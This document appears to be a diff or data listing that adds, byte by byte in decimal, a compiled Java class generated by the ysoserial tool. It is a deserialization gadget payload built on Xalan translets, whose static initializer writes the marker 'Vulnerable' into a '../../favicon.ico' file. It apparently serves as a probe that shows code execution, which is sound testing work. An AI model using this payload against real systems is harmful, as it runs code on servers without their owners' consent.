+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 44
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 47
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 50
+
+
+ 10
+
+
+ 0
+
+
+ 48
+
+
+ 0
+
+
+ 51
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 120
+
+
+ 116
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 53
+
+
+ 0
+
+
+ 54
+
+
+ 10
+
+
+ 0
+
+
+ 48
+
+
+ 0
+
+
+ 55
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 47
+
+
+ 8
+
+
+ 0
+
+
+ 57
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 76
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 34
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 110
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 85
+
+
+ 82
+
+
+ 76
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 61
+
+
+ 0
+
+
+ 62
+
+
+ 10
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 63
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 110
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 85
+
+
+ 82
+
+
+ 76
+
+
+ 7
+
+
+ 0
+
+
+ 65
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 116
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 67
+
+
+ 0
+
+
+ 68
+
+
+ 10
+
+
+ 0
+
+
+ 66
+
+
+ 0
+
+
+ 69
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 71
+
+
+ 0
+
+
+ 72
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 73
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 46
+
+
+ 46
+
+
+ 47
+
+
+ 46
+
+
+ 46
+
+
+ 47
+
+
+ 102
+
+
+ 97
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 99
+
+
+ 111
+
+
+ 8
+
+
+ 0
+
+
+ 75
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 12
+
+
+ 0
+
+
+ 77
+
+
+ 0
+
+
+ 68
+
+
+ 10
+
+
+ 0
+
+
+ 45
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 81
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 83
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 86
+
+
+ 117
+
+
+ 108
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 85
+
+
+ 10
+
+
+ 0
+
+
+ 84
+
+
+ 0
+
+
+ 81
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 88
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 71
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 93
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 94
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 51
+
+
+ 57
+
+
+ 56
+
+
+ 52
+
+
+ 50
+
+
+ 51
+
+
+ 48
+
+
+ 50
+
+
+ 48
+
+
+ 50
+
+
+ 52
+
+
+ 51
+
+
+ 53
+
+
+ 48
+
+
+ 51
+
+
+ 1
+
+
+ 0
+
+
+ 32
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 51
+
+
+ 57
+
+
+ 56
+
+
+ 52
+
+
+ 50
+
+
+ 51
+
+
+ 48
+
+
+ 50
+
+
+ 48
+
+
+ 50
+
+
+ 52
+
+
+ 51
+
+
+ 53
+
+
+ 48
+
+
+ 51
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 46
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 98
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
